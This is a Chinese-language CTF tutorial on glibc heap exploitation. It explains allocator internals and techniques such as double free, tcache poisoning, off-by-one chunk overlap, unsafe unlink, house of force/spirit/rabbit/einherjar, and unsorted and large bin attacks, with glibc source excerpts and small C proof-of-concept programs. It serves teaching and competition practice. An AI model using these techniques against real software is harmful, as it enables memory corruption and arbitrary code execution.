CTF 中 glibc 堆利用 及 IO_FILE 总结

写在最前面

本文全文由 winmt 一人编写，初稿完成于 2022.2.1，在编写过程中，参考了 **《CTF 竞赛权威指南（Pwn 篇）》** 一书，以及 **raycp，风沐云烟，wjh，Ex，ha1vk** 等众多大师傅的博客与 **安全客，看雪论坛，先知社区，CTF-WiKi** 上的部分优秀的文章，在此一并表示感谢。

本文主要着眼于 glibc 下的一些漏洞及利用技巧和 IO 调用链，由浅入深，分为“基础堆利用漏洞及基本 IO 攻击”与“高版本 glibc 下的利用”两部分来进行讲解，前者主要包括了一些 glibc 相关的基础知识，以及低版本 glibc（2.27 及以前）下常见的漏洞利用方式，后者主要涉及到一些较新的 glibc 下的 IO 调用链。

本篇文章加入了大量笔者自己的理解，力求用尽可能直白的语言解释清楚一些漏洞的原理和利用方式，给初学者们良好的阅读体验，以少走一些弯路，但笔者本身比较菜，水平也很有限，加上这篇文章成稿的时间较短，因此难免会有一些错误，也欢迎各位读者和笔者进行交流讨论，笔者的邮箱是：wjcmt2003@qq.com 。

基础堆利用漏洞 及 基本 IO 攻击

Heap

由**低地址向高地址**增长，**可读可写**，**首地址 16 字节对齐**，未开启 ASLR，

start_brk 紧接 BSS 段高地址处，开启了 ASLR，则 start_brk 会**在 BSS 段高地址之后随机位移处**。通过调用 brk()与 sbrk()来移动 program_break 使得堆增长或缩减，其中 brk(void* end_data_segment)的参数用于设置 program_break 的指向，sbrk(increment)的参数可正可负可零，用于与 program_break 相加来调整 program_break 的值，执行成功后，brk()返回 0，sbrk()会返回上一次 program_break 的值。

mmap

当申请的 size 大于 mmap 的阈值 mp_.mmap_threshold(128*1024=0x20000)且此进程通过 mmap 分配的内存数量 mp_.n_mmaps 小于最大值 mp_.n_mmaps_max，会使用 mmap 来映射内存给用户（映射的大小是**页对齐**的），所映射的内存地址与之前申请的堆块内存地址并**不连续**（申请的堆块越大，分配的地址越接近 libc）。若申请的 size 并不大于 mmap 的阈值，但 top chunk 当前的大小又不足以分配，则会扩展 top chunk，然后从 top chunk 里分配内存。

```
1  if (chunk_is_mmapped (p))
2  {
3    if (!mp_.no_dyn_threshold
4        && chunksize_nomask (p) > mp_.mmap_threshold
5        && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
6    && !DUMPED_MAIN_ARENA_CHUNK (p))
7      {
9        mp_.mmap_threshold = chunksize (p);
10       //假设申请的堆块大小为 0x61A80，大于最小阈值，因此第一次 malloc(0x61A80)，使用 mmap 分配内存，当
11 free 这个用 mmap 分配的 chunk 时，对阈值(mp_.mmap_threshold)做了调整，将阈值设置为了 chunksize，由于之前申
12 请 chunk 时，size 做了页对齐，所以，此时 chunksize(p)为 0x62000，也就是阈值将修改为 0x62000。
13       mp_.trim_threshold = 2 * mp_.mmap_threshold;
14       LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
15                   mp_.mmap_threshold, mp_.trim_threshold);
16     }
     munmap_chunk (p);
     return;
   }
```

泄露 libc：在能够查看内存分配的环境下（本地 vmmap，远程环境通过**传非法地址**泄露内存分配），通过申请大内存块，可通过利用 mmap 分配到的内存块地址与 libc 基址之间的固定偏移量泄露 libc 地址。

```
1 pwndbg> vmmap
2 ......
3 0x555555602000     0x555555604000 rw-p   2000     2000     /pwn
4 0x555555604000     0x555555625000 rw-p   21000    0        [heap]
5 0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000   0        /libc-2.27.so
6 0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000   1e7000   /libc-2.27.so
7 ......
```

其中 0x7ffff79e4000 就是本次 libc 的基地址。

struct malloc_chunk

在这个结构体中，包含了许多成员（考虑在 64 位下）：

1. pre_size：如果上一个 chunk 处于**释放**状态，则表示其大小；否则，作为上一个 chunk 的一部分，用于保存上一个 chunk 的数据（申请 0x58 的大小，加上 chunk header 的 0x10 大小，理论需要分配 0x68，考虑内存页对齐的话，甚至要分配 0x70，但实际分配的却是 0x60，因为**共用**了下个堆块 pre_size 的空间，故从上一个堆块的 mem 开始可以写到下一个堆块的 pre_size）。
2. size：当前堆块的大小，必须是 0x10 的整数倍。最后 3 个比特位被用作状态标识，其中最低两位：IS_MAPPED 用于标识当前堆块是否是通过 mmap 分配的，最低位 PREV_INUSE 用于表示上一个 chunk 是否处于使用状态（1 为使用，0 为空闲），fast bin 与 tcache 中堆块的下一个堆块中 PRE_INUSE 位均为 1，因此在某些相邻的大堆块释放时，**不会与之发生合并**。
3. fd 与 bk 仅在当前 chunk 处于**释放**状态时才有效，chunk 被释放后进入相应的 bins，fd 指向**该链表中下一个** free chunk，bk 指向**该链表中上一个** free chunk；否则，均为用户使用的空间。
4. fd_nextsize 与 bk_nextsize 仅在**被释放的 large chunk** 中，且**加入了与当前堆块大小不同的堆块时**才有效，用于指向该链表中下一个，上一个与当前 chunk **大小不同**的 free chunk（因为 large bin 中每组 bin 容纳**一个大小范围**中的堆块），否则，均为用户使用的空间。
5. 每次 malloc 申请得到的内存指针，其实指向 user data 的起始处。而在除了 tcache 的各类 bin 的链表中 fd 与 bk 等指针却指向着 chunk header，tcache 中 next 指针指向 user data。
6. 所有 chunk 加入相应的 bin 时，里面原有的数据不会被更改，包括 fd,bk 这些指针，在该 bin 没有其他堆块加入的时候，也不会发生更改。

bins

1.fast bin：

(1) 单链表，LIFO（后进先出），例如，A->B->C，加入 D 变为：D->A->B->C，拿出一个，先拿 D，又变为 A->B->C。

(2) fastbinsY[0]容纳 0x20 大小的堆块，随着序号增加，所容纳的范围递增 0x10，直到默认最大大小（DEFAULT_MXFAST）0x80（但是其支持的 fast bin 的最大大小 MAX_FAST_SIZE 为 0xa0），mallopt(1,0)即 mallopt(M_MXFAST,0)将 MAX_FAST_SIZE

设为 0，禁用 fast bin。

(3) 当一个堆块加进 fast bin 时，不会对下一个堆块的 PREV_INUSE 进行验证（但是会对下一个堆块 size 的合法性进行检查），同样地，将一个堆块从 fast bin 中释放的时候，也不会对其下一个堆块的 PREV_INUSE 进行更改（也不会改下一个堆块的 PREV_SIZE），只有触发 malloc_consolidate()后才会改下一个堆块的 PREV_INUSE。

```
1 new(small_size); #1
2 new(large_size); #2
3 delete(1); #free into fastbin (next chunk's PREV_INUSE is still 1)
4 new(large_size); #3 trigger malloc_consolidate() => move 1_addr from fastbin to small bin (modify
5 next chunk's PREV_INUSE to 0)
6 delete(1); # double free (free into fastbin)
7 new(small_size, payload); #get 1_addr from fastbin (don't modify next chunk's PREV_INUSE)
  delete(2); #unsafe unlink
```

(4) 当申请一个大于 large chunk 最小大小（包括当申请的 chunk 需要调用 brk()申请新的 top chunk 或调用 mmap()函数时）的堆块之后，会先触发 malloc_consolidate()，其本身会将 fast bin 内的 chunk 取出来，与相邻的 free chunk 合并后放入 unsorted bin，或并入 top chunk（如果无法与相邻的合并，就直接将其放入 unsorted bin），然后由于申请的 large chunk 显然在 fast bin,small bin 内都找不到，于是遍历 unsorted bin，将其中堆块放入 small bin,large bin，因此最终的效果就是 fast bin 内的 chunk 与周围的 chunk 合并了（或是自身直接进入了 unsorted bin），最终被放入了 small bin,large bin，或者被并入了 top chunk，导致 fast bin 均为空。

(5) 若 free 的 chunk 和相邻的 free chunk 合并后的 size 大于 FASTBIN_CONSOLIDATION_THRESHOLD(64k)（包括与 top chunk 合并），那么也会触发 malloc_consolidate()，最终 fast bin 也均为空。

(6) 伪造 fast bin 时，要绕过在__int_malloc()中取出 fake fast bin 时，对堆块大小的检验。

2.unsorted bin：

双链表，FIFO（先进先出），其实主要由 bk 连接，A<-B<-C 进一个 D 变为 D<-A<-B<-C，拿出一个 C，变为 D<-A<-B。bin 中堆块大小可以不同，不排序。

一定大小的 chunk 被释放后在被放入 small bin,large bin 之前，会先进入

unsorted bin。

泄露 libc：unsorted_bin 中最先进来的 free chunk 的 fd 指针和最后进来的 free chunk 的 bk 指针均指向了 main_arena 中的位置，在 64 位中，一般是<main_arena+88>或<main_arena+96>，具体受 libc 影响，且 main_arena 的位置与 __malloc_hook 相差 0x10，而在 32 位的程序中，main_arena 的位置与 __malloc_hook 相差 0x18，加入到 unsorted bin 中的 free chunk 的 fd 和 bk 通常指向<main_arena+48>的位置。

```
1 libc_base = leak_addr - libc.symbols['__malloc_hook'] - 0x10 - 88
```

此外，可修改正处在 unsorted bin 中的某堆块的 size 域，然后从 unsorted bin 中申请取出该堆块时，不会再检测是否合法，可进行漏洞利用。

3.small bin：

双链表，FIFO（先进先出），同一个 small bin 内存放的堆块大小相同。

大小范围：0x20 ~ 0x3F0 。

4.large bin：

双链表，FIFO（先进先出），每个 bin 中的 chunk 的大小不一致，而是处于一定区间范围内，里面的 chunk 从头结点的 fd_nextsize 指针开始，按从大到小的顺序排列，同理换成 bk_nextsize 指针，就是按从小到大的顺序排列。
需要注意，若现在 large bin 内是这样的：0x420<-(1)0x410(2)<-，再插一个 0x410 大小的堆块进去，会从(2)位置插进去。
large bin 中 size 与 index 的对应如下：

```
1       size            index
2  [0x400 , 0x440)        64
3  [0x440 , 0x480)        65
4  [0x480 , 0x4C0)        66
5  [0x4C0 , 0x500)        67
6  [0x500 , 0x540)        68
7  等差 0x40    …
8  [0xC00 , 0xC40)        96
9  ------------------------------
10 [0xC40 , 0xE00)        97
11 ------------------------------
12 [0xE00 , 0x1000)       98
13 [0x1000 , 0x1200)      99
14 [0x1200 , 0x1400)      100
```

```
[0x1400 , 0x1600)      101
等差 0x200    …
[0x2800 , 0x2A00)      111
-----------------------------
[0x2A00 , 0x3000)      112
-----------------------------
[0x3000 , 0x4000)      113
[0x4000 , 0x5000)      114
等差 0x1000    …
[0x9000 , 0xA000)      119
-----------------------------
[0xA000 , 0x10000)     120
[0x10000 , 0x18000)    121
[0x18000 , 0x20000)    122
[0x20000 , 0x28000)    123
[0x28000 , 0x40000)    124
[0x40000 , 0x80000)    125
[0x80000 , …. )        126
```

5.tcache：

(1) 单链表，LIFO（后进先出），每个 bin 内存放的堆块大小相同，且最多存放 7 个，大小从 24 ~ 1032 个字节，用于存放 non-large 的 chunk。

(2) tcache_perthread_struct 本身也是一个堆块，大小为 0x250，位于堆开头的位置，包含数组 counts 存放每个 bin 中的 chunk 当前数量，以及数组 entries 存放 64 个 bin 的首地址（可以通过**劫持此堆块**进行攻击）。

(3) 在释放堆块时，在放入 fast bin 之前，若 tcache 中对应的 bin 未满，则先放入 tcache 中。

(4) 从 fast bin 返回了一个 chunk，则单链表中剩下的堆块会被放入对应的 tcache bin 中，直到上限。
从 small bin 返回了一个 chunk，则双链表中剩下的堆块会被放入对应的 tcache bin 中，直到上限。
在将剩余堆块从 small bin 放入 tcache bin 的过程中，除了检测了第一个堆块的 fd 指针，都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测。

(5) binning code，如在遍历 unsorted bin 时，每一个符合要求的 chunk 都会优先被放入 tcache，然后继续遍历，除非 tcache 已经装满，则直接返回，不然就在遍

历结束后，若找到了符合要求的大小，则把 tcache 中对应大小的返回一个。

(6) 在__libc_malloc()调用__int_malloc()之前，如果 tcache bin 中有符合要求的 chunk 就直接将其返回。

(7) CVE-2017-17426 是 libc-2.26 存在的漏洞，libc-2.27 已经修复。

(8) 可将 tcache_count 整型溢出为 0xff 以绕过 tcache，直接放入 unsorted bin 等，但在 libc-2.28 中，检测了 counts 溢出变成负数（0x00-1=0xff）的情况，且增加了对 double free 的检查。

(9) calloc()越过 tcache 取 chunk，通过 calloc()分配的堆块会**清零**。**补充：**realloc()的特殊用法：size == 0 时，等同于 free；realloc_ptr == 0 && size > 0 时等同于 malloc。如果当前连续内存块足够 realloc 的话，只是将 p 所指向的空间扩大，并返回 p 的指针地址；如果当前连续内存块不够，则再找一个足够大的地方，分配一块新的内存 q，并将 p 指向的内容 copy 到 q，返回 q。并将 p 所指向的内存空间 free；若是通过 realloc 缩小堆块，则返回的指针 p 不变，但原先相比缩小后多余的那部分将会被 free 掉。

6.top chunk：

除了 house of force 外，其实对于 top chunk 还有一些利用点。
当申请的 size 不大于 mmap 的阈值，但 top chunk 当前的大小又不足以分配，则会扩展 top chunk，然后从新 top chunk 里进行分配。
这里的扩展 top chunk，其实不一定会直接扩展原先的 top chunk，可能会先将原先的 top chunk 给 free 掉，再在之后开辟一段新区域作为新的 top chunk。
具体是，如果 brk 等于该不够大小的 top chunk（被记作 old_top_chunk）的 end 位置（old_end，等于 old_top + old_size），即 top chunk 的 size 并没有被修改，完全是自然地分配堆块，导致了 top chunk 不够用，则会从 old_top 处开辟更大的一块空间作为新的 top chunk，也就是将原先的 old_top_chunk 进行扩展了，此时没有 free，且 top chunk 的起始位置也没有改变，但是如果 brk 不等于 old_end，则会先 free 掉 old_top_chunk，再从 brk 处开辟一片空间作为 new_top_chunk，此时的 top chunk 头部位置变为了原先的 brk，而如今的 brk 也做了相应的扩展，并且 unsorted bin 或 tcache 中（一般修改的大小都至少会是 small bin 范围，但具体在哪得分情况看）会有被 free 的 old_top_chunk。
因此，可以通过改小 top chunk 的 size，再申请大堆块，做到对旧 top chunk 的 free，不过修改的 size 需要绕过一些检测。
相关源码如下：

```
1 old_top = av->top;
2 old_size = chunksize (old_top);
```

```
3 old_end = (char *) (chunk_at_offset (old_top, old_size)); // old_end = old_top + old_size
4 assert ((old_top == initial_top (av) && old_size == 0) ||
5         ((unsigned long) (old_size) >= MINSIZE &&
6          prev_inuse (old_top) &&
7          ((unsigned long) old_end & (pagesize - 1)) == 0));
```

需要绕过以上的断言，主要就是要求被修改的 top chunk 的 size 的 prev_inuse 位要为 1 并且 old_end 要内存页对齐，所以就要求被修改的 size 的后三位和原先要保持一致。

Use-After-Free (UAF)

free(p)后未将 p 清零，若是没有其他检查的话，可能造成 UAF 漏洞。
double free 就是利用 UAF 漏洞的经典例子。

1.fast bin 的 double free：

(1) fast bin 对 double free 有检查，会检查当前的 chunk 是否与 fast bin 顶部的 chunk 相同，如果相同则报错并退出。因此，我们不能连续释放两次相同的 chunk。
可采用如下方式在中间添加一个 chunk 便绕过检查：
释放 A，单链表为 A，再释放 B，单链表为 B->A，再释放 A，单链表为 A->B->A，然后申请到 A，同时将其中内容改成任意地址（改的是 fd 指针），单链表就成了 B->A->X，其中 X 就是任意地址，这样再依次申请 B，A 后，再申请一次就拿到了地址 X，可以在地址 X 中任意读写内容。

(2) 其实，若是有 Edit 功能的话，可以有如下方式：

若当前单链表是 B->A，将 B 的 fd 指针通过 Edit 修改为任意地址 X，单链表就变成了 B->X，申请了 B 之后，再申请一次，就拿到了 X 地址，从而进行读写。
需要注意的是，以上的 X 准确说是 fake chunk 的 chunk header 地址，因为 fast bin 会检测 chunk_header_addr + 8（即 size）是否符合当前 bin 的大小。

2.tcache 的 double free：

libc-2.28 之前并不会检测 double free，因此可以连续两次释放同一个堆块进入 tcache，并且 tcache 的 next 指针指向的是 user data，因此不会做大小的检测。
释放 A，单链表为 A，再释放 A，单链表为 A->A，申请 A 并把其中内容（next 指针）改成 X，则单链表为 A->X，再申请两次，拿到 X 地址的读写权。
在以上过程结束后，实际上是放进 tcache 了两次，而申请取出了三次，因此当前 tcache 的 counts 会变成 0xff，整型溢出，这是一个可以利用的操作，当然若是想

避免此情况，在第一次释放 A 之前，可以先释放一次 B，将其放入此 tcache bin 即可。

此外，若是有 Edit 功能，仿照上述 fast bin 对应操作的技术被称为 tcache_poisoning。

3.glibc2.31 下的 double free：

在 glibc2.29 之后加入了对 tcache 二次释放的检查，方法是在 tcache_entry 结构体中加入了一个标志 key，用于表示 chunk 是否已经在所属的 tcache bin 中，对于每个 chunk 而言，key 在其 bk 指针的位置上。
当 chunk 被放入 tcache bin 时会设置 key 指向其所属的 tcache 结构体：e->key = tcache;，并在 free 时，进入 tcache bin 之前，会进行检查：如果是 double free，那么 put 时 key 字段被设置了 tcache，就会进入循环被检查出来；如果不是，那么 key 字段就是用户数据区域，可以视为随机的，只有 1/(2^size_t)的可能行进入循环，然后循环发现并不是 double free。这是一个较为优秀的算法，进行了剪枝，具体源码如下：

```
1 if (__glibc_unlikely(e->key == tcache))
2 {
3     tcache_entry *tmp;
4     LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
5     for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
6       if (tmp == e)
7         malloc_printerr("free(): double free detected in tcache 2");
8 }
```

可通过 fast bin double free+tcache stash 机制来进行绕过：

(1) 假设目前 tcache 被填满了：C6->C5->C4->C3->C2->C1->C0，fast bin 中为：C7->C8->C7。

(2) 下一步，为了分配到 fast bin，需要先申请 7 个，让 tcache 为空（或 calloc），再次申请时就会返回 fast bin 中的 C7，同时由于 tcache stash 机制，fast bin 中剩下的 C8,C7 均被放入了 tcache bin，此时，在 C7 的 fd 字段写入 target_addr（相当于获得了 Edit 功能），于是 target_addr 也被放入了 tcache bin，因此这里 target_addr 处甚至不需要伪造 size（target_addr 指向 user data 区）。

(3) 此时，tcache bin 中单链表为：C8->C7->target_addr，再申请到

target_addr，从而得到了一个真正的任意写。
补充：

```
#include<stdio.h>
#include<stdlib.h>

int main()
{
    void *ptr[15];
    for(int i=0;i<=9;i++)ptr[i]=malloc(0x20);
    for(int i=0;i<7;i++)free(ptr[i]);
    free(ptr[7]);
    free(ptr[8]);
    free(ptr[7]); //free(ptr[9]);
    for(int i=0;i<7;i++)malloc(0x20);
    malloc(0x20);
    return 0;
}
```

上述代码，若是按注释中的写，则在没有触发 tcache stash 机制时，fast bin 中为 C9->C8->C7，取走 C9，最终 tcache bin 中是 C7->C8，符合设想（依次取 C8，C7 放入 tcache bin）。
然而，若是 double free chunk_7，则在没有触发 tcache stash 机制时，fast bin 中为 C7->C8->C7，取走 C7，最终 tcache bin 中是 C8->C7->C8，而若是按照 tcache bin 放入的规则，应该也是类似于 C7->C8，不符合设想。
流程如下：

(1) 取 C8 放入 tcache bin，同时 REMOVE_FB (fb, pp, tc_victim);会清空 C8 的 next(fd)指针，并且将链表头设置为指向 C8 原先 fd 指针指向的堆块 C7（源码分析如下）。

```
#define REMOVE_FB(fb, victim, pp)//摘除一个空闲 chunk
do
{
    victim = pp;
    if (victim == NULL)
    break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim);
//catomic_compare_and_exchange_val_rel_acq 功能是 如果*fb 等于 victim，则将*fb 存储为 victim->fd，返回
victim;
//其作用是从刚刚得到的空闲 chunk 链表指针中取出第一个空闲的 chunk(victim)，并将链表头设置为该空闲 chunk 的
下一个 chunk(victim->fd)
```

(2) 目前 fast bin 中为 C7->C8（最开始取走 C7 并不清空其 fd 字段），然后根据 tcache bin 的放入规则，最终依次放入后为 C8->C7->C8。

4.当可以 Edit 时，往往就不需要 double free 了，而有些情况看似不能对空闲中的堆块进行 Edit（比如存放长度的数组在 free 后会清零），但是可以利用 UAF 漏洞对处于空闲状态的堆块进行 Edit，例如：

```
1 malloc(0x20) #1
2 free(1)
3 malloc(0x20) #2
4 free(1) #UAF
5 Edit(2, payload)
```

此时，我们编辑 chunk 2，实则是在对已经 free 的 chunk 1 进行编辑。

off by one

缓冲区溢出了一个字节，由于 glibc 的空间复用技术（即 pre_size 给上一个 allocated 的堆块使用），所以可通过 off by one 修改下一个堆块的 size 域。经常是由于循环次数设置有误造成了该漏洞的产生。比较隐蔽的是 strcpy 会在复制过去的字符串末尾加\x00，可能造成 poison null byte，例如，

strlen 和 strcpy 的行为不一致可能会导致 off-by-one 的发生：strlen 在计算字符串长度时是不把结束符\x00 计算在内的，但是 strcpy 在复制字符串时会拷贝结束符 \x00。

off by one 经常可以与 Chunk Extend and Overlapping 配合使用。

1. **扩展被释放块：** 当可溢出堆块的下一个堆块处在 unsorted bin 中，可以通过溢出单字节扩大下一个堆块的 size 域，当申请新 size 从 unsorted bin 中取出该堆块时，就会造成堆块重叠，从而控制原堆块之后的堆块。该方法的成功依赖于：malloc 并不会对 free chunk 的完整性以及 next chunk 的 prev_size 进行检查，甚至都不会查 next chunk 的地址是不是个堆块。libc-2.29 增加了检测 next chunk 的 prev_size，会报错：malloc(): mismatching next->prev_size (unsorted)，也增加了检测 next chunk 的地址是不是个堆块，会报错 malloc(): invalid next size (unsorted)。

   libc-2.23(11)的版本，当释放某一个非 fast bin 的堆块时，若上/下某堆块空闲，则会检测该空闲堆块的 size 与其 next chunk 的 prev_size 是否相等。

2. **扩展已分配块：** 当可溢出堆块的一个堆块（通常是 `fast bin`,`small bin`）处于使用状态中时，单字节溢出可修改处于 `allocated` 的堆块的 `size` 域，扩大到下面某个处于空闲状态的堆块处，然后将其释放，则会一直覆盖到下面的此空闲堆块，造成堆块重叠。
   此时释放处于使用状态的堆块，由于是根据处于使用中的堆块的 `size` 找到下一个堆块的，而若是上一个堆块处于使用中，那么下一个堆块的 `prev_size` 就不会存放上一个堆块的大小，而是进行空间复用，存放上一个堆块中的数据，因此，此时不论有没有 `size` 与 `next chunk` 的 `prev_size` 的一致性检测，上述利用都可以成功。
   同理，若将堆块大小设成 `0x10` 的整数倍，就不会复用空间，此时单字节溢出就可以修改 `next chunk` 的 `prev_size` 域，然后将其释放，就会与上面的更多的堆块合并，造成堆块重叠，当然此时需要 `next chunk` 的 `prev_inuse` 为零。
   当加入了对当前堆块的 `size` 与下一个堆块的 `prev_size` 的比对检查后，上述利用就难以实现了。
3. **收缩被释放块：** 利用 `poison null byte`，即溢出的单字节为`\x00` 的情况。
   通过单字节溢出可将下一个被释放块的 `size` 域缩小，而此被释放块的下一个堆块（`allocated`）的 `prev_size` 并不会被更改（将已被 `shrink` 的堆块进行切割，仍不会改变此 `prev_size` 域），若是将此被释放块的下一个堆块释放，则还是会利用原先的 `prev_size` 找到上一个被释放块进行合并，这样就造成了堆块重叠。
   同样，当加入了对当前堆块的 `size` 与下一个堆块的 `prev_size` 的比对检查后，上述利用就难以实现了。
4. **house of einherjar：** 同样是利用 `poison null byte`，当可溢出堆块的下一个堆块处于使用中时，通过单字节溢出，可修改 `next chunk` 的 `prev_inuse` 位为零(`0x101->0x100`)，同时将 `prev_size` 域改为该堆块与目标堆块位置的偏移，再释放可溢出堆块的下一个堆块，则会与上面的堆块合并，造成堆块重叠。值得一提的是，`house of einherjar` 不仅可以造成堆块重叠，还具备将堆块分配到任意地址的能力，只要把上述的目标堆块改为 `fake chunk` 的地址即可，因此通常需要泄露堆地址，或者在栈上伪造堆。

unsafe unlink

`unlink:`由经典的链表操作 `FD=P->fd;BK=P->bk;FD->bk=BK;BK->fd=FD;`实现，这样堆块 `P` 就从该双向链表中取出了。
`unlink` 中有一个保护检查机制：`(P->fd->bk!=P || P->bk->fd!=P) == False`，需要绕过。

```
1  #include <stdio.h>
2  #include <stdlib.h>
```

```c
#include <stdint.h>

uint64_t *chunk0_ptr;
int main()
{
    int malloc_size = 0x80; //避免进入 fast bin
    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    //chunk0_ptr 指向堆块的 user data，而&chunk0_ptr 是指针的地址，其中存放着该指针指向的堆块的 fd 的地址
    //在 0x90 的 chunk0 的 user data 区伪造一个大小为 0x80 的 fake chunk
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    chunk0_ptr[1] = 0x80; //高版本会有(chunksize(P)!=prev_size(next_chunk(P)) == False)的检查
    //绕过检测((P->fd->bk!=P || P->bk->fd!=P) == False):
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr - 0x18; //设置 fake chunk 的 fd
    //P->fd->bk=*(*(P+0x10)+0x18)=*(&P-0x18+0x18)=P
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr - 0x10; //设置 fake chunk 的 bk
    //P->bk->fd=*(*(P+0x18)+0x10)=*(&P-0x10+0x10)=P

    uint64_t *chunk1_hdr = chunk1_ptr - 0x10; //chunk1_hdr 指向 chunk1 header
    chunk1_hdr[0] = malloc_size; //往上寻找 pre(fake) chunk
    chunk1_hdr[1] &= ~1; //prev_inuse -> 0

    //高版本需要先填满对应的 tcache bin
    free(chunk1_ptr); //触发 unlink，chunk1 找到被伪造成空闲的 fake chunk 想与之合并，然后对 fake chunk
    进行 unlink 操作
    //P->fd->bk=P=P->bk,P->bk->fd=P=P->fd,即最终 P=*(P+0x10)=&P-0x18

    char victim_string[8] = "AAAAAAA";
    chunk0_ptr[3] = (uint64_t) victim_string; //*(P+0x18)=*(&P)=P=&str

    chunk0_ptr[0] = 0x424242424242LL; //*P=*(&str)=str=BBBBBBB
    fprintf(stderr, "New Value: %s\n",victim_string); //BBBBBBB
    return 0;
}
```

house of spirit

对于 fast bin，可以在栈上伪造两个 fake chunk，但需要绕过检查，应满足第一个 fake chunk 的标志位 IS_MMAPPED 与 NON_MAIN_ARENA 均为零（PREV_INUSE 并不影响释放），且要求其大小满足 fast bin 的大小，对于其 next chunk，即第二个 fake chunk，需要满足其大小大于 0x10，小于 av->system_mem（0x21000）才能绕过检

查。之后，伪造指针 P = & fake_chunk1_mem，然后 free(P)，fake_chunk1 就进入了 fast bin，之后再申请同样大小的内存，即可取出 fake_chunk1，获得了栈上的任意读写权（当然并不局限于在栈上伪造）。
该技术在 libc-2.26 中仍然适用，可以对 tcache 做类似的操作，甚至没有对上述 next chunk 的检查。

house of force

主要思路为：将 top chunk 的 size 改为一个很大的数，就可以始终让 top chunk 满足切割条件，而恰好又没有对其的检查，故可利用此漏洞，top chunk 的地址加上所请求的空间大小造成了整型溢出，使得 top chunk 被转移到内存中的低地址区域（如 bss 段，data 段，got 表等等），接下来再次请求空间，就可以获得转移地址后面的内存区域的控制权。

1. 直接将 top chunk 的 size 域赋成-1，通过整型溢出为 0xffffffffffffffff。
2. 将需要申请的 evil_size 设为 target_addr - top_ptr - 0x10*2，这里的 top_ptr 指向 top chunk 的 chunk header 处。
3. 通过 malloc(evil_size)申请堆块，此时由于 top chunk 的 size 很大，会绕过检查，通过 top chunk 进行分配，分配后，top chunk 被转移到：top_ptr + (evil_size + 0x10) = target_addr - 0x10 处。
4. 之后，再申请 P = malloc(X)，则此时 P 指向 target_addr，继而可对此地址进行任意读写的操作。

house of rabbit

house of rabbit 是利用 malloc_consolidate()合并机制的一种方法。
malloc_consolidate()函数会将 fastbin 中的堆块之间或其中堆块与相邻的 freed 状态的堆块合并在一起，最后达到的效果就是将合并完成的堆块（或 fastbin 中的单个堆块）放进了 smallbin/largebin 中，在此过程中，并不会对 fastbin 中堆块的 size 或 fd 指针进行检查，这是一个可利用点。

1. fastbin 中的堆块 size 可控（比如 off by one 等）

   比如现在 fastbin 有两个 0x20 的堆块 A -> B，其中 chunk B 在 chunk A 的上方，我们将 chunk B 的 size 改为 0x40，这样就正好包含了 chunk A，且 fake chunk B 下面的堆块也就是 chunk A 下方的堆块，也是合法的，假设这个堆块不是 freed 的状态，那么触发 malloc_consolidate()之后，smallbin 里就会有两个堆块，一个是 chunk A，另外一个是 fake chunk B，其中包含了 chunk A，这样就实现了堆块重叠。

2. fastbin 中的堆块 fd 可控（比如 UAF 漏洞等）

   其实就是将 fastbin 中的堆块的 fd 改为指向一个 fake chunk，然后通过触发 malloc_consolidate()之后，使这个 fake chunk 完全"合法化"。不过，需要注意伪造的是 fake chunk's next chunk 的 size 与其 next chunk's next chunk 的 size（prev_inuse 位要为 1）。

unsorted bin attack

unsorted bin into stack 的原理比较简单，就是在栈上伪造一个堆块，然后修改 unsorted bin 中某堆块的 bk 指针指向此 fake chunk，通过申请到此 fake chunk 达到对栈上地址的读写权。需要注意的是高版本有 tcache 的情况，此时在 unsorted bin 中找到一个合适大小的堆块后并不会直接返回，而是会放入 tcache bin 中，直到上限，若是某时刻 tcache_count 达到上限，则直接返回该 fake chunk，不然会继续遍历，并在最后从 tcache bin 中取出返回给用户，此时就要求 fake chunk 的 bk 指针指向自身，这样就可以通过循环绕过。
再来看真正的 unsorted bin attack，其实在上述利用中，fake chunk 的 fd 指针被修改成了 unsorted bin 的地址，位于 main_arena，甚至可以通过泄露其得到 libc 的基地址，当然也可以通过这个利用，将任意地址中的值改成很大的数（如 global_max_fast），这就是 unsorted bin attack 的核心，其原理是：当某堆块 victim 从 unsorted bin list 中取出时，会进行 bck = victim->bk; unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);的操作。
例如，假设 chunk_A 在 unsorted bin 中，此时将 chunk_A 的 bk 改成 &global_max_fast - 0x10，然后取出 chunk_A，那么 chunk_A->bk->fd，也就是 global_max_fast 中就会写入 unsorted bin 地址，即一个很大的数。若是在高版本有 tcache 的情况下，可通过放入 tcache 的次数小于从中取出的次数，从而整型溢出，使得 tcache_count 为一个很大的数，如 0xff，就可以解决 unsorted bin into stack 中提到的 tcache 特性带来的问题。

large bin attack

假设当前 chunk_A 在 large bin 中，修改其 bk 为 addr1 - 0x10，同时修改其 bk_nextsize 为 addr2 - 0x20，此时 chunk_B 加入了此 large bin，其大小**略大于** chunk_A，将会进行如下操作：

```
else
{
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;//1
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;//2
```

```
7  }
8  ...
9  bck = fwd->bk;
10 ...
11 victim->bk = bck;
12 victim->fd = fwd;
13 fwd->bk = victim;
14 bck->fd = victim;//3
```

其中，victim 就是 chunk_B，而 fwd 就是修改过后的 chunk_A，注意到 3 处 bck->fd = victim，同时，把 1 带入 2 可得到：fwd->bk_nextsize->fd_nextsize=victim，因此，最终 addr1 与 addr2 地址中的值均被赋成了 victim 即 chunk_B 的 chunk header 地址，也是一个很大的数。

house of storm

一种 large bin attack 配合类似于 unsorted bin into stack 的攻击手段，适用于 libc-2.30 版本以下，由于基本可以被 IO_FILE attack 取代，目前应用情景并不是很广泛，但是其思路还是挺巧妙的，所以这里也介绍一下。
